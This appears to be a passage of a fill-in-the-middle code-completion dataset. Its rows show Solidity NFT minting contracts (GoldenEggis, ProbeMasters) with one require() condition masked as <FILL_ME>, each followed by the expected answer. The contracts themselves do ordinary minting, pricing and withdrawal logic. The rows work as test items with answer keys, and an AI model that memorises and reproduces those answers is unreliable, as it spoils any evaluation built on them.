import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
}
function preSale(uint256 _num) public payable returns (bool result) {
}
function publicSale(uint256 _num) public payable returns (bool result) {
require(_num != 0, "GoldenEggi: Number of tokens cannot be zero");
require(isMintingEnabled, "GoldenEggi: Minting paused");
require(
block.timestamp > publicSaleStartTime,
"public sale not started"
);
require(<FILL_ME>)
if((block.timestamp > preSaleCloseTime) && (lastTokenId == 0)) {
lastTokenId = preSaleLastTokenId;
}
uint256 totalPrice = tokenPricePublicSale * _num;
uint256 distPrice = (totalPrice * receiverPercentage) / BASE;
require(
msg.value >= totalPrice,
"GoldenEggi: Insufficient amount provided"
);
payable(receiverWallet1).transfer(distPrice);
payable(receiverWallet2).transfer(distPrice);
payable(receiverWallet3).transfer(distPrice);
require(
lastTokenId + _num <= maxTokenId,
"GoldenEggi: Mint Maximum cap reached"
);
for (uint256 i = 0; i < _num; i++) {
uint256 diplomaCurrentTokenId = IGoldenMembers(goldenMemberNFT).getCurrentTokenId();
uint256 goldenMemberNFTCap = IGoldenMembers(goldenMemberNFT).cap();
uint256 remainingDiploma = goldenMemberNFTCap - diplomaCurrentTokenId;
if((diplomaCurrentTokenId <= goldenMemberNFTCap) && (remainingDiploma != 0)) {
IGoldenMembers(goldenMemberNFT).mint(msg.sender);
}
if(notAllowedToMint(lastTokenId)) {
lastTokenId++;
}
mint(msg.sender, lastTokenId);
lastTokenId++;
totalMints++;
}
userPublicsaleMintCount[msg.sender] += _num;
return true;
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| userPublicsaleMintCount[msg.sender]+_num<=maxNftAllowedPublicSale,"mint count exceed" | 173,184 | userPublicsaleMintCount[msg.sender]+_num<=maxNftAllowedPublicSale |
"GoldenEggi: Mint Maximum cap reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
}
function preSale(uint256 _num) public payable returns (bool result) {
}
function publicSale(uint256 _num) public payable returns (bool result) {
require(_num != 0, "GoldenEggi: Number of tokens cannot be zero");
require(isMintingEnabled, "GoldenEggi: Minting paused");
require(
block.timestamp > publicSaleStartTime,
"public sale not started"
);
require(
userPublicsaleMintCount[msg.sender] + _num <= maxNftAllowedPublicSale,
"mint count exceed"
);
if((block.timestamp > preSaleCloseTime) && (lastTokenId == 0)) {
lastTokenId = preSaleLastTokenId;
}
uint256 totalPrice = tokenPricePublicSale * _num;
uint256 distPrice = (totalPrice * receiverPercentage) / BASE;
require(
msg.value >= totalPrice,
"GoldenEggi: Insufficient amount provided"
);
payable(receiverWallet1).transfer(distPrice);
payable(receiverWallet2).transfer(distPrice);
payable(receiverWallet3).transfer(distPrice);
require(<FILL_ME>)
for (uint256 i = 0; i < _num; i++) {
uint256 diplomaCurrentTokenId = IGoldenMembers(goldenMemberNFT).getCurrentTokenId();
uint256 goldenMemberNFTCap = IGoldenMembers(goldenMemberNFT).cap();
uint256 remainingDiploma = goldenMemberNFTCap - diplomaCurrentTokenId;
if((diplomaCurrentTokenId <= goldenMemberNFTCap) && (remainingDiploma != 0)) {
IGoldenMembers(goldenMemberNFT).mint(msg.sender);
}
if(notAllowedToMint(lastTokenId)) {
lastTokenId++;
}
mint(msg.sender, lastTokenId);
lastTokenId++;
totalMints++;
}
userPublicsaleMintCount[msg.sender] += _num;
return true;
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| lastTokenId+_num<=maxTokenId,"GoldenEggi: Mint Maximum cap reached" | 173,184 | lastTokenId+_num<=maxTokenId |
"GoldenEggi: Mint Maximum cap reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import '@openzeppelin/contracts/utils/Strings.sol';
interface IGoldenMembers {
function mint(address buyer) external returns (bool);
function getCurrentTokenId() external view returns (uint256);
function cap() external view returns (uint256);
}
contract GoldenEggis is ERC721Enumerable, AccessControl {
using Strings for uint256;
uint256 private constant BASE = 10000;
string public uriSuffix = ".json";
address public goldenMemberNFT;
uint256 public tokenPricePreSale;
uint256 public tokenPricePublicSale;
uint256 public maxNftAllowedPresale;
uint256 public maxNftAllowedPublicSale;
uint256 public airdropLastTokenId;
uint256 public airdropMaxTokenId;
uint256 public preSaleLastTokenId;
uint256 public preSaleMaxTokenId;
uint256 public lastTokenId;
uint256 public maxTokenId;
uint256 public preSaleOpenTime;
uint256 public preSaleCloseTime;
uint256 public publicSaleStartTime;
uint256 public totalMints;
uint256 public presaleMints;
uint256 public receiverPercentage;
address public receiverWallet1 = 0x37ed71206D8e4B73158cd49307268c3d4C17F949;
address public receiverWallet2 = 0xcC939619eD4A570174C5Dda5a7Ae1095451aA7ce;
address public receiverWallet3 = 0x50672d7315787C3597C73FfE31e024e370ceeb91;
bool public isMintingEnabled;
string public _baseTokenURI;
mapping(address => uint256) public userPresaleMintCount;
mapping(address => uint256) public userPublicsaleMintCount;
event MaxNftAllowedPresale(uint256 maxNFTAllowed);
event MaxNftAllowedPublicSale(uint256 maxNFTAllowed);
event PreSalePrice(uint256 preSalePrice);
event PublicSalePrice(uint256 publicSalePrice);
event PresaleOpenTime(uint256 preSaleOpenTime);
event PresaleCloseTime(uint256 preSaleCloseTime);
event PublicsaleStartTime(uint256 publicSaleStartTime);
event PublicSaleTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event AirdropTokenRange(uint256 lastTokenId, uint256 maxTokenId);
event WithdrawEthereum(address walletAddress, uint256 withdrawAmount);
event Airdrop(address airdropWallet, uint256 tokenId);
constructor() ERC721("GoldenEggis", "GoldenEggis") {
}
// to receive ether in the contract on each nft minting sale
receive() external payable {}
modifier onlyAdmin() {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721Enumerable, AccessControl)
returns (bool)
{
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setGoldenMemberNFT(address _goldenMemberNFT) external onlyAdmin {
}
function setMaxNftAllowedPublicsale(uint256 _maxNfts) external onlyAdmin {
}
function setMaxNftAllowedPresale(uint256 _maxNfts) external onlyAdmin {
}
function setBaseURI(string memory baseURI) public onlyAdmin {
}
function changePresalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function changePublicsalePrice(uint256 _newtokenPrice) public onlyAdmin {
}
function setPresaleOpenTime(uint256 _presaleOpenTime) external onlyAdmin {
}
function setPreSaleCloseTime(uint256 _presaleCloseTime) external onlyAdmin {
}
function setPublicSaleStartTime(uint256 _publicSaleStartTime)
external
onlyAdmin
{
}
function setConfig_tokenrange(uint256 _lastTokenId, uint256 _maxTokenId)
external
onlyAdmin
{
}
function setConfig_airdroptokenrange(
uint256 _lastTokenId,
uint256 _maxTokenId
) external onlyAdmin {
}
function setReceiverPercentage(uint256 _receiverPer) external onlyAdmin {
}
function setMintingEnabled(bool _isEnabled) public onlyAdmin {
}
function setUriSuffix(string memory _uriSuffix) public onlyAdmin {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function mint(address _user, uint256 _tokenId) internal {
}
function preSale(uint256 _num) public payable returns (bool result) {
}
function publicSale(uint256 _num) public payable returns (bool result) {
}
function Ambassadors(address[] memory _airdropAddresses) public onlyAdmin {
uint256 walletsLength = _airdropAddresses.length;
require(<FILL_ME>)
for (uint256 i = 0; i < walletsLength; i++) {
airdropLastTokenId++;
totalMints++;
if(notAllowedToMint(airdropLastTokenId)) {
airdropLastTokenId++;
}
mint(_airdropAddresses[i], airdropLastTokenId);
emit Airdrop(_airdropAddresses[i], airdropLastTokenId);
}
}
function EggisFoundation(address _walletAddress, uint256 _tokenId) public onlyAdmin {
}
//only admin can withdraw ethereum coins
function withdrawEth(
uint256 _withdrawAmount,
address payable _walletAddress
) public onlyAdmin {
}
function notAllowedToMint(uint256 _tokenId) internal pure returns(bool) {
}
}
| airdropLastTokenId+walletsLength<=airdropMaxTokenId,"GoldenEggi: Mint Maximum cap reached" | 173,184 | airdropLastTokenId+walletsLength<=airdropMaxTokenId |
"The specified address already holds the maximum number of mintable NFTs." | /*
░█▀█░█▀▄░█▀█░█▀▄░█▀▀░░░█▄█░█▀█░█▀▀░▀█▀░█▀▀░█▀▄░█▀▀
░█▀▀░█▀▄░█░█░█▀▄░█▀▀░░░█░█░█▀█░▀▀█░░█░░█▀▀░█▀▄░▀▀█
░▀░░░▀░▀░▀▀▀░▀▀░░▀▀▀░░░▀░▀░▀░▀░▀▀▀░░▀░░▀▀▀░▀░▀░▀▀▀
XXXXXXXXXXXXKXXK0kdolllllllllodk0KXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXKOdlclooodoodoooolclokKXXXXXXXXXXXXXX
KXXXXXXXXKXKOdlloooloodooooloooooc:lOXXXXXXXXXXXXX
KXXXXXXXXXKd:cooooooooooooooooooool:ckKXXXXXXXXXXX
XXXXXXXXX0o;coooooooooooooooooooooolccxKXXXXXXXXXX
XXXXXXXXKx:cooooooooooooooooooooooollcckXXXXXXXXXX
XXXXXXXX0l;loooooooodooooooooooooooollco0XXXXXXXXX
XXXXKXXX0c:oolc:cloooooooooooooollllcc:ckXXXXXXXXX
XXXXKXXX0c;:'....';clooddooolc;''....,;ckXXXXXXXXX
XXXXXXXXKo,. ...'.,cooool:'''.. .,l0XXXXXXXXX
XXXXXXXXXk:'........'coolll:'.......',:xKXXXXXXXXX
XXXXXXXXXKd;;:clcccccloolclolcclcccc:;o0XXXXXXXXXX
XXXXXXXXXXKd:cloooooooolcllooooolll::d0XKXXXXXXXXX
XXXXXXXXXKXKd::cloddoolccllooodolc:ckKXKXXXXXXXXXX
XXXXXXXXXXXXKOl,,:looolc:cloooo:,:x0XXXXXXXXXXXXXX
XXXXXXXXXXXXXXKkl;;clllc::lool:;lOXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXKkc;clclclloo::xKXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:,loollool,lKXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:.,clcccc,.c0XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXKd::;;;;;;;;;:kXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXKOo:clooooooool:cOKXXXXXXXXXXXXXKXX
XXXXXXXXXXK0Okdlc:looooooodoloo::ok0KXXKXXXXXXXXXX
XXXK0Oxdollcc::cllooooolooollooolc:clllodddddk0KXX
XKOocc::cccllllllllllllllcllllllllllcc:::::::::oOK
X0l,cooolclloooooooolllcllllcclllllllllllcclloc;o0
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract ProbeMasters is ERC721, ERC721URIStorage, DefaultOperatorFilterer, Ownable {
uint256 public supply = 4451;
uint256 public maxMint = 10;
uint256 public mintPrice = 20000000000000000;
bool public paused = true;
uint256 public _tokenId = 0;
string public baseURI;
constructor() ERC721("ProbeMasters", "PM") {
}
function togglePause() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function safeMint(address to, uint256 _numTokens) public payable {
require(paused == false, "Minting is currently paused.");
require(<FILL_ME>)
require(msg.value >= mintPrice * _numTokens, "Not enough ether sent.");
require(_tokenId + _numTokens <= supply, "Total supply cannot be exceeded.");
require(_numTokens <= maxMint, "You cannot mint that many in one transaction.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_tokenId++;
_safeMint(to, _tokenId);
_setTokenURI(_tokenId, baseURI);
}
}
function ownerMint(address to, uint256 _numTokens) public onlyOwner {
}
function withdrawAmount(uint256 _amount) external payable onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function totalSupply() public virtual view returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
}
| balanceOf(to)+_numTokens<=maxMint,"The specified address already holds the maximum number of mintable NFTs." | 173,339 | balanceOf(to)+_numTokens<=maxMint |
"Total supply cannot be exceeded." | /*
░█▀█░█▀▄░█▀█░█▀▄░█▀▀░░░█▄█░█▀█░█▀▀░▀█▀░█▀▀░█▀▄░█▀▀
░█▀▀░█▀▄░█░█░█▀▄░█▀▀░░░█░█░█▀█░▀▀█░░█░░█▀▀░█▀▄░▀▀█
░▀░░░▀░▀░▀▀▀░▀▀░░▀▀▀░░░▀░▀░▀░▀░▀▀▀░░▀░░▀▀▀░▀░▀░▀▀▀
XXXXXXXXXXXXKXXK0kdolllllllllodk0KXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXKOdlclooodoodoooolclokKXXXXXXXXXXXXXX
KXXXXXXXXKXKOdlloooloodooooloooooc:lOXXXXXXXXXXXXX
KXXXXXXXXXKd:cooooooooooooooooooool:ckKXXXXXXXXXXX
XXXXXXXXX0o;coooooooooooooooooooooolccxKXXXXXXXXXX
XXXXXXXXKx:cooooooooooooooooooooooollcckXXXXXXXXXX
XXXXXXXX0l;loooooooodooooooooooooooollco0XXXXXXXXX
XXXXKXXX0c:oolc:cloooooooooooooollllcc:ckXXXXXXXXX
XXXXKXXX0c;:'....';clooddooolc;''....,;ckXXXXXXXXX
XXXXXXXXKo,. ...'.,cooool:'''.. .,l0XXXXXXXXX
XXXXXXXXXk:'........'coolll:'.......',:xKXXXXXXXXX
XXXXXXXXXKd;;:clcccccloolclolcclcccc:;o0XXXXXXXXXX
XXXXXXXXXXKd:cloooooooolcllooooolll::d0XKXXXXXXXXX
XXXXXXXXXKXKd::cloddoolccllooodolc:ckKXKXXXXXXXXXX
XXXXXXXXXXXXKOl,,:looolc:cloooo:,:x0XXXXXXXXXXXXXX
XXXXXXXXXXXXXXKkl;;clllc::lool:;lOXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXKkc;clclclloo::xKXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:,loollool,lKXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:.,clcccc,.c0XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXKd::;;;;;;;;;:kXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXKOo:clooooooool:cOKXXXXXXXXXXXXXKXX
XXXXXXXXXXK0Okdlc:looooooodoloo::ok0KXXKXXXXXXXXXX
XXXK0Oxdollcc::cllooooolooollooolc:clllodddddk0KXX
XKOocc::cccllllllllllllllcllllllllllcc:::::::::oOK
X0l,cooolclloooooooolllcllllcclllllllllllcclloc;o0
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract ProbeMasters is ERC721, ERC721URIStorage, DefaultOperatorFilterer, Ownable {
uint256 public supply = 4451;
uint256 public maxMint = 10;
uint256 public mintPrice = 20000000000000000;
bool public paused = true;
uint256 public _tokenId = 0;
string public baseURI;
constructor() ERC721("ProbeMasters", "PM") {
}
function togglePause() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function safeMint(address to, uint256 _numTokens) public payable {
require(paused == false, "Minting is currently paused.");
require(balanceOf(to) + _numTokens <= maxMint, "The specified address already holds the maximum number of mintable NFTs.");
require(msg.value >= mintPrice * _numTokens, "Not enough ether sent.");
require(<FILL_ME>)
require(_numTokens <= maxMint, "You cannot mint that many in one transaction.");
for(uint256 i = 1; i <= _numTokens; ++i) {
_tokenId++;
_safeMint(to, _tokenId);
_setTokenURI(_tokenId, baseURI);
}
}
function ownerMint(address to, uint256 _numTokens) public onlyOwner {
}
function withdrawAmount(uint256 _amount) external payable onlyOwner {
}
function withdrawAll() external payable onlyOwner {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function totalSupply() public virtual view returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
}
| _tokenId+_numTokens<=supply,"Total supply cannot be exceeded." | 173,339 | _tokenId+_numTokens<=supply |
"Not enough balance." | /*
░█▀█░█▀▄░█▀█░█▀▄░█▀▀░░░█▄█░█▀█░█▀▀░▀█▀░█▀▀░█▀▄░█▀▀
░█▀▀░█▀▄░█░█░█▀▄░█▀▀░░░█░█░█▀█░▀▀█░░█░░█▀▀░█▀▄░▀▀█
░▀░░░▀░▀░▀▀▀░▀▀░░▀▀▀░░░▀░▀░▀░▀░▀▀▀░░▀░░▀▀▀░▀░▀░▀▀▀
XXXXXXXXXXXXKXXK0kdolllllllllodk0KXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXKOdlclooodoodoooolclokKXXXXXXXXXXXXXX
KXXXXXXXXKXKOdlloooloodooooloooooc:lOXXXXXXXXXXXXX
KXXXXXXXXXKd:cooooooooooooooooooool:ckKXXXXXXXXXXX
XXXXXXXXX0o;coooooooooooooooooooooolccxKXXXXXXXXXX
XXXXXXXXKx:cooooooooooooooooooooooollcckXXXXXXXXXX
XXXXXXXX0l;loooooooodooooooooooooooollco0XXXXXXXXX
XXXXKXXX0c:oolc:cloooooooooooooollllcc:ckXXXXXXXXX
XXXXKXXX0c;:'....';clooddooolc;''....,;ckXXXXXXXXX
XXXXXXXXKo,. ...'.,cooool:'''.. .,l0XXXXXXXXX
XXXXXXXXXk:'........'coolll:'.......',:xKXXXXXXXXX
XXXXXXXXXKd;;:clcccccloolclolcclcccc:;o0XXXXXXXXXX
XXXXXXXXXXKd:cloooooooolcllooooolll::d0XKXXXXXXXXX
XXXXXXXXXKXKd::cloddoolccllooodolc:ckKXKXXXXXXXXXX
XXXXXXXXXXXXKOl,,:looolc:cloooo:,:x0XXXXXXXXXXXXXX
XXXXXXXXXXXXXXKkl;;clllc::lool:;lOXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXKkc;clclclloo::xKXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:,loollool,lKXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXO:.,clcccc,.c0XXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXKd::;;;;;;;;;:kXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXKOo:clooooooool:cOKXXXXXXXXXXXXXKXX
XXXXXXXXXXK0Okdlc:looooooodoloo::ok0KXXKXXXXXXXXXX
XXXK0Oxdollcc::cllooooolooollooolc:clllodddddk0KXX
XKOocc::cccllllllllllllllcllllllllllcc:::::::::oOK
X0l,cooolclloooooooolllcllllcclllllllllllcclloc;o0
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
contract ProbeMasters is ERC721, ERC721URIStorage, DefaultOperatorFilterer, Ownable {
uint256 public supply = 4451;
uint256 public maxMint = 10;
uint256 public mintPrice = 20000000000000000;
bool public paused = true;
uint256 public _tokenId = 0;
string public baseURI;
constructor() ERC721("ProbeMasters", "PM") {
}
function togglePause() public onlyOwner {
}
function setMintPrice(uint256 _mintPrice) public onlyOwner {
}
function safeMint(address to, uint256 _numTokens) public payable {
}
function ownerMint(address to, uint256 _numTokens) public onlyOwner {
}
function withdrawAmount(uint256 _amount) external payable onlyOwner {
require(<FILL_ME>)
( bool transfer, ) = payable(0x64A88d29Bc7844cC99f08f8C71700079389cf939).call{value: _amount}("");
require(transfer, "Transfer failed.");
}
function withdrawAll() external payable onlyOwner {
}
function setBaseURI(string memory _baseURI) external onlyOwner {
}
function setSupply(uint256 _maxSupply) external onlyOwner {
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
}
function totalSupply() public virtual view returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override
onlyAllowedOperator(from)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
}
| address(this).balance>_amount,"Not enough balance." | 173,339 | address(this).balance>_amount |
null | /*
🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇 🍇
🍇 Member wen memecoins were fun? Member wen memecoins went up? 🍇
